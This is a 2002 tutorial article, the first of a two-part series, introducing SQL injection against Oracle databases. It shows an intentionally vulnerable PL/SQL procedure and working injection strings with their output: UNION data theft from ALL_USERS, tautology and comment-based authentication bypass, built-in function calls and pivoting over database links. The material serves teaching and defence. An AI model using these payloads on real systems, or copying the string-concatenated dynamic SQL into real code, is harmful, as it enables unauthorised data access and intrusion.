SQL Injection and Oracle, Part One
last updated November 21, 2002
SQL injection techniques are an increasingly dangerous threat to the security of information stored upon Oracle Databases. These techniques are being discussed with greater regularity on security mailing lists, forums, and at conferences. There have been many good papers written about SQL Injection and a few about the security of Oracle databases and software but not many that focus on SQL injection and Oracle software. This is the first article in a two-part series that will examine SQL injection attacks against Oracle databases. The objective of this series is to introduce Oracle users to some of the dangers of SQL injection and to suggest some simple ways of protecting against these types of attack.
Oracle is a huge product and SQL injection can be applied to many of its modules, languages and APIs, so this paper is intended to be an overview or introduction to the subject. This two-part series is not intended as a detailed treatise of how to SQL inject an Oracle database, nor is it intended as a detailed discussion on the finer points of the technique in general. (Details of SQL injection techniques have been covered admirably in the past for other languages and databases, particularly by Rain Forest Puppy who pioneered the subject. Some of these papers are included in the reference section at the end of this paper.) Rather, I have designed this paper so that as many readers as possible can try out the examples. To achieve this I have used a PL/SQL procedure that uses dynamic SQL to demonstrate the techniques of SQL injection from the ubiquitous SQL*Plus.
Prior to commencing our discussion, it may be useful for readers to know that all of the code from this paper is available from the author's Web site at http://www.petefinnigan.com from the scripts menu - SQL and PL/SQL option..
What is SQL Injection
SQL Injection is a way to attack the data in a database through a firewall protecting it. It is a method by which the parameters of a Web-based application are modified in order to change the SQL statements that are passed to a database to return data. For example, by adding a single quote (‘) to the parameters, it is possible to cause a second query to be executed with the first.
An attack against a database using SQL Injection could be motivated by two primary objectives:
To steal data from a database from which the data should not normally be available, or to obtain system configuration data that would allow an attack profile to be built. One example of the latter would be obtaining all of the database password hashes so that passwords can be brute-forced. To gain access to an organisation’s host computers via the machine hosting the database. This can be done using package procedures and 3GL language extensions that allow O/S access. There are many ways to use this technique on an Oracle system. This depends upon the language used or the API. The following are some languages, APIs and tools that can access an Oracle database and be part of a Web-based application.
JSP ASP XML, XSL and XSQL Javascript VB, MFC, and other ODBC-based tools and APIs Portal, the older WebDB, and other Oracle Web-based applications and API’s Reports, discoverer, Oracle Applications 3- and 4GL-based languages such as C, OCI, Pro*C, and COBOL Perl and CGI scripts that access Oracle databases many more. Any of the above applications, tools, and products could be used as a base from which to SQL inject an Oracle database. A few simple preconditions need to be in place first though. First and foremost amongst these is that dynamic SQL must be used in the application, tool, or product, otherwise SQL Injection is not possible.
The final important point not usually mentioned in discussions about SQL injection against any database including Oracle is that SQL injection is not just a Web-based problem. As is implied in the preceding paragraph, any application that allows a user to enter data that may eventually end up being executed as a piece of dynamic SQL can potentially be SQL injected. Of course, Web-based applications present the greatest risk, as anyone with a browser and an Internet connection can potentially access data they should not.
While second article of this series will include a much more in-depth discussion of how to protect against SQL injection attacks, there are a couple of brief notes that should be mentioned in this introductory section. Data held in Oracle databases should be protected from employees and others who have network access to applications that maintain that data. Those employees could be malicious or may simply want to read data they are not authorized to read. Readers should keep in mind that most threats to data held within databases come from authorized users.
Protecting against SQL Injection on Oracle-based systems is simple in principle and includes two basic stages. These are:
Audit the application code and change or remove the problems that allow injection to take place. (These problems will be discussed at greater length in the second part of this series.) Enforce the principle of least privilege at the database level so that even if someone is able to SQL inject an application to steal data, they cannot see anymore data than the designer intended through any normal application interface. The “Protection” section, which will be included in the second part of this series, will discuss details of how to apply some of these ideas specifically to Oracle-based applications.
How Can Oracle be Abused
Oracle is like any other database product and, as a result, is vulnerable to SQL injection attacks. While Oracle fairs slightly better than some of the others, the following abuses can be inflicted on an Oracle database:
UNIONS can be added to an existing statement to execute a second statement; SUBSELECTS can be added to existing statements; Existing SQL can be short-circuited to bring back all data. This technique is often used to gain access via third party-implemented authentication schemes; A large selection of installed packages and procedures are available, these include packages to read and write O/S files; Data Definition Language (DDL) can be injected if DDL is used in a dynamic SQL string; INSERTS, UPDATES and DELETES can also be injected; and, Other databases can be injected through the first by using database links. On the other hand, the following abuses are not possible:
Multiple statements are not allowed; and, It is also not possible to SQL inject a call that uses bind variables; this is therefore a good solution to most of the SQL injection issues.
Some Specific Examples
Web-based applications constitute the worst threat of SQL injection. These can be written using JSP, ASP, or many of the other languages listed above. Some would argue that SQL injection is only an issue for Web-based applications and at this time this is probably true, as SQL injection is not a particularly well-established threat, especially with Oracle.
To illustrate some of the possibilities of SQL injection on Oracle, I have written a simple PL/SQL procedure that displays the phone number of customers from a hypothetical customer table in a database. As stated in the introduction, it is possible to inject into any piece of SQL that is dynamically built at run time where the input data is not filtered or checked, so it is possible to demonstrate SQL injection using PL/SQL and the ubiquitous tool SQL*Plus. The procedure uses native dynamic SQL to pass a run-time piece of SQL to the database. I decided to use PL/SQL and SQL*Plus so that any reader having access to Oracle can try out the samples, as no special tools are required other than to have an Oracle database greater than 8i installed. Using a PL/SQL procedure and dynamic SQL is identical in all respects to Web-based SQL injection except that it is local and not remote, readers should bear this in mind while reading through this paper. Also, because of this approach we do not use any character encoding techniques to pass special characters or metacharacters to the database server from a Web browser. The example table structure used is:
SQL> desc customers
Name Null? Type
----------------------------------------- -------- ----------------------------
CUSTOMER_FORNAME VARCHAR2(30)
CUSTOMER_SURNAME VARCHAR2(30)
CUSTOMER_PHONE VARCHAR2(30)
CUSTOMER_FAX VARCHAR2(30)
CUSTOMER_TYPE NUMBER(10)
The table has been loaded with three records as follows: SQL> select * from customers;
CUSTOMER_FORNAME CUSTOMER_SURNAME
------------------------------ ------------------------------
CUSTOMER_PHONE CUSTOMER_FAX CUSTOMER_TYPE
------------------------------ ------------------------------ -------------
Fred Clark
999444888 999444889 3
Bill Jones
999555888 999555889 2
Jim Clark
999777888 999777889 1
The sample procedure used is created with the following code. For these tests I have used the default user DBSNMP, who has many privileges that are not necessary for a general user. This user illustrates the problem of Web-based users being limited to least privilege:
create or replace procedure get_cust (lv_surname in varchar2)
is
type cv_typ is ref cursor;
cv cv_typ;
lv_phone customers.customer_phone%type;
lv_stmt varchar2(32767):='select customer_phone '||
'from customers '||
'where customer_surname='''||
lv_surname||'''';
begin
dbms_output.put_line('debug:'||lv_stmt);
open cv for lv_stmt;
loop
fetch cv into lv_phone;
exit when cv%notfound;
dbms_output.put_line('::'||lv_phone);
end loop;
close cv;
end get_cust;
/
It is not possible to simply add another statement onto an existing statement built by the procedure for execution as it is with some other databases, such as MS databases. The following illustrates this with our sample procedure:
SQL> exec get_cust('x'' select username from all_users where ''x''=''x');
debug:select customer_phone from customers where customer_surname='x' select
username from all_users where 'x'='x'
-933ORA-00933: SQL command not properly ended
The procedure expects a surname of a customer and should build a statement of the form:
select customer_phone from customers where customer_surname='Jones'
As can be seen, it is possible to add extra SQL after the name by escaping out of the SQL statement by using quotes and adding in the extra SQL. The preceding example shows that an Oracle error is returned if we try and send two statements at once to the RDBMS. Statements in Oracle tools and languages are delimited by semicolons (;) so we can try that next:
SQL> exec get_cust('x'';select username from all_users where ''x''=''x');
debug:select customer_phone from customers where customer_surname='x';select
username from all_users where 'x'='x'
-911ORA-00911: invalid character
Again this doesn’t work, as another Oracle error code is returned. Adding a semicolon after the first statement will not allow a second statement to be executed, so the only way to get Oracle to execute extra SQL is to either extend the existing where clause or to use a union or a subselect. The next example shows how to get extra data from another table. In this case, we will read a list of users in the database from the dictionary view ALL_USERS.
SQL> exec get_cust('x'' union select username from all_users where ''x''=''x');
debug:select customer_phone from customers where customer_surname='x' union
select username from all_users where 'x'='x'
::AURORA$JIS$UTILITY$
::AURORA$ORB$UNAUTHENTICATED
::CTXSYS
::DBSNMP
::MDSYS
::ORDPLUGINS
::ORDSYS
::OSE$HTTP$ADMIN
::OUTLN
::SYS
::SYSTEM
::TRACESVR
The example works! We can also use subqueries to extend an existing select statement. These are less useful, as they cannot alter the existing select list used to add new columns from other tables; however, they can be used to alter which records are returned by the existing query. An example is shown to return all of the records in the table:
SQL> exec get_cust('x'' or exists (select 1 from sys.dual) and ''x''=''x');
debug:select customer_phone from customers where customer_surname='x' or exists
(select 1 from sys.dual) and 'x'='x'
::999444888
::999555888
::999777888
The extra “and ‘x’=’x’” is needed to close the original quote expected in the SQL string in the procedure. The above example returns all of the records in our sample table. This is a simple example and the technique can be used more creatively than in this instance.
The next example discusses truncating the rest of a where clause so that all of the records in the table are returned. The classic use of this is the case where the Web application writers have implemented authentication and the method of logging in is to find a valid record in the users table where the username and password match. Such an example could be:
select * from appusers where username=’someuser’ and password=’somecleverpassword’
To truncate this behaviour we can make the SQL return all of the records in the table; this usually allows a login to occur. Usually this will return the administrator record first!! Here is an example of truncation with our sample table of customers. All of the records can be returned by using an “OR ‘x’=’x’” in the where clause as follows:
SQL> exec get_cust('x'' or ''x''=''x');
debug:select customer_phone from customers where customer_surname='x' or 'x'='x'
::999444888
::999555888
::999777888
Next, the procedure has been modified to extend the SQL used so that there is a second part of the where clause to truncate. Here is the modified procedure first:
create or replace procedure get_cust2 (lv_surname in varchar2)
is
type cv_typ is ref cursor;
cv cv_typ;
lv_phone customers.customer_phone%type;
lv_stmt varchar2(32767):='select customer_phone '||
'from customers '||
'where customer_surname='''||
lv_surname||''' and customer_type=1';
begin
dbms_output.put_line('debug:'||lv_stmt);
open cv for lv_stmt;
loop
fetch cv into lv_phone;
exit when cv%notfound;
dbms_output.put_line('::'||lv_phone);
end loop;
close cv;
exception
when others then
dbms_output.put_line(sqlcode||sqlerrm);
end get_cust2;
This is to demonstrate the use of the “- -“ comment characters to truncate the end of a where clause. This technique is useful where an application screen has more than one entry field that is added to the dynamic SQL and passed to the database. To simplify adding extra SQL to get around all of the fields we can add a “- -“ in what we think is the first field on the screen and first add the SQL we need. The following demonstrates this:
SQL> exec get_cust2('x'' or ''x''=''x'' --');
debug:select customer_phone from customers where customer_surname='x' or 'x'='x'
--' and customer_type=1
::999444888
::999555888
::999777888
Running this, we can see that all three records are returned due to the “or” statement. If the comment wasn’t there, we would still include the line “and customer_type=1”. Another example on the same theme allows us to use the union and the select on the table all_users as above and then comment out the rest of the where clause.
All of the above examples show select statements being injected with extra SQL. The same principles also apply to insert statements, update statements and delete statements. Other statements available in Oracle include DDL (Data Definition Language) statements, which are statements to alter the schema or database instance. Examples include creating tables or indexes or altering the language set used. Statements cannot generally be mixed because, as was illustrated above, we cannot just send two statements to the RDBMS at the same time, so if a select statement is the only one available we cannot just add a delete or insert to it. Often applications include a way to send any SQL to the server. This is bad programming practice, as it allows statements such as DDL to be executed. It can be argued that this case is not SQL injection because any SQL can be executed, therefore you do not need to alter an existing piece!
The final piece of the puzzle to talk about is packages, procedures and functions. It is possible to call PL/SQL functions from SQL statements. The rules vary slightly with each version of Oracle and indeed it was not possible to do so until PL/SQL version 2.1, which came with Oracle RDBMS version 7.1. There are literally thousands of built-in functions and procedures provided with the standard packages. These generally start with DBMS or UTL. The headers can be found in $ORACLE_HOME/rdbms/admin or a list of packages procedures or functions can be obtained by querying the database as follows:
SQL> col owner for a15
SQL> col object_type for a30
SQL> col object_name for a30
SQL> select owner,object_type,object_name
2 from dba_objects
3 where object_type in('PACKAGE','FUNCTION','PROCEDURE');
OWNER OBJECT_TYPE OBJECT_NAME
--------------- ------------------------------ ------------------------------
SYS FUNCTION CLIENT_IP_ADDRESS
SYS FUNCTION DATABASE_NAME
SYS FUNCTION DBJ_LONG_NAME
SYS FUNCTION DBJ_SHORT_NAME
SYS PACKAGE DBMSOBJG
…
CTXSYS PACKAGE DR_DEF
CTXSYS PROCEDURE SYNCRN
391 rows selected.
Here is an example that calls a built in function supplied with Oracle. The function (SYS.LOGIN_USER) in this case is quite simple and just returns the logged-in user, but it illustrates the principle.
SQL> exec get_cust('x'' union select sys.login_user from sys.dual where ''x''=''x');
debug:select customer_phone from customers where customer_surname='x' union
select sys.login_user from sys.dual where 'x'='x'
::DBSNMP
The functions or procedures that can be called from SQL are quite limited: the function must not alter the database state or package state if called remotely, and the function cannot alter package variables if it is called in a where clause or group by clause. In versions earlier than Oracle 8, very few built-in functions or procedures can be called from a PL/SQL function that is called in SQL statements. The restrictions have been lifted somewhat from Oracle 8, but users should not expect to be able to call file or output type packages such as UTL_FILE or DBMS_OUTPUT or DBMS_LOB directly from SQL statements, as they must be executed in a PL/SQL block or called by the execute command from SQL*Plus. It is possible to use many of these procedures if they are part of a function that is written to be called from SQL.
To SQL inject and use PL/SQL packages, procedure or functions really requires a case of dynamic PL/SQL. If a form or application builds and executes dynamic PL/SQL in the same manner as described above, the same techniques can be used to insert calls to standard PL/SQL packages on any PL/SQL packages or functions that exist in the schema.
If any database links exist from the database being attacked to any other database in the organisation, those links can also be utilized in SQL injection attempts. This allows an attack through the firewall to a database that is potentially not even accessible from the Internet! Here is a simple example using our PL/SQL procedure to read the system date from another database on my network.
SQL> exec get_cust('x'' union select to_char(sysdate) from sys.dual@plsq where ''x''=''x');
debug:select customer_phone from customers where customer_surname='x' union
select to_char(sysdate) from sys.dual@plsq where 'x'='x'
::13-NOV-02
Conclusion
This concludes the first instalment in our two-part series on SQL injection and Oracle database software. This article has offered a brief overview of SQL injection, as well as some examples of how this technique may be employed against Oracle software. The next part will cover detecting SQL injection and protecting against SQL injection.
Pete Finnigan is a freelance consultant specialising in Oracle and security of Oracle. Pete is currently working in the UK financial sector and has recently completed the new Oracle security step-by-step guide for the SANS institute. Pete has many years of development and administration experience in many languages. Pete is regarded as one of the worlds leading experts on Oracle security. Watch for the forthcoming book The SANS Institute Oracle Security Step-by-step – A survival guide for Oracle security written by Pete Finnigan with consensus achieved by experts from over 53 organizations with over 230 years of Oracle and security experience. Due to be published in the next few weeks by the SANS Institute.